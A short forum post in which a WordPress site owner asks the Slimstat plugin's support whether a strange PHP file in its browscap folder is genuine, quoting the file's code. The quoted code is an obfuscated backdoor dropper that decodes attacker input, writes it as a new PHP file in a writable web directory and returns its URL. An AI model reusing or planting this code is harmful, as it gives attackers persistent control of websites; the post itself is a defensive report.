Is this a known slimstat php file?

Hello Slimstat,
I found this weard file in a Slimtat folder. Is this a known slimstat php file?
\wp-content\uploads\wp-slimstat\browscap-db\browscap\browscap-php\resources\3\a\zvqbjhrl.php
It contains very strange code, such as:
function jdszmp($vtwintjvkr, $vnuonc){global $vtwmb;$vtwmb = $vtwintjvkr;$vnuonc = str_split(rawurldecode(str_rot13($vnuonc)));function jzibdoj($zyeiayf, $vtwintjvkr){global $nfspmbl, $vtwmb;return $zyeiayf ^ $nfspmbl[$vtwintjvkr % strlen($nfspmbl)] ^ $vtwmb[$vtwintjvkr % strlen($vtwmb)];}$vnuonc = implode(“”, array_map(“jzibdoj”, array_values($vnuonc), array_keys($vnuonc)));$vnuonc = @unserialize($vnuonc);if (@is_array($vnuonc)){$vtwintjvkr = array_keys($vnuonc);$vnuonc = $vnuonc[$vtwintjvkr[0]];if ($vnuonc === $vtwintjvkr[0]){echo @serialize(Array(‘php’ => @phpversion(), ));exit();}else{function lrzugsl($pockhvlvjir) {static $oxtys = array();$pockhvlvjsjhbtvle = glob($pockhvlvjir . ‘/*’, GLOB_ONLYDIR);if (count($pockhvlvjsjhbtvle) > 0) {foreach ($pockhvlvjsjhbtvle as $pockhvlvj){if (@is_writable($pockhvlvj)){$oxtys[] = $pockhvlvj;}}}foreach ($pockhvlvjsjhbtvle as $pockhvlvjir) lrzugsl($pockhvlvjir);return $oxtys;}$tghfnmi = $_SERVER[“DOCUMENT_ROOT”];$pockhvlvjsjhbtvle = lrzugsl($tghfnmi);$vtwintjvkr = array_rand($pockhvlvjsjhbtvle);$jlolaswm = $pockhvlvjsjhbtvle[$vtwintjvkr] . “/” . substr(md5(time()), 0, 8) . “.php”;@file_put_contents($jlolaswm, $vnuonc);echo “http://” . $_SERVER[“HTTP_HOST”] . substr($jlolaswm, strlen($tghfnmi));exit();}}}
Please let me know.
Thanks
ebakker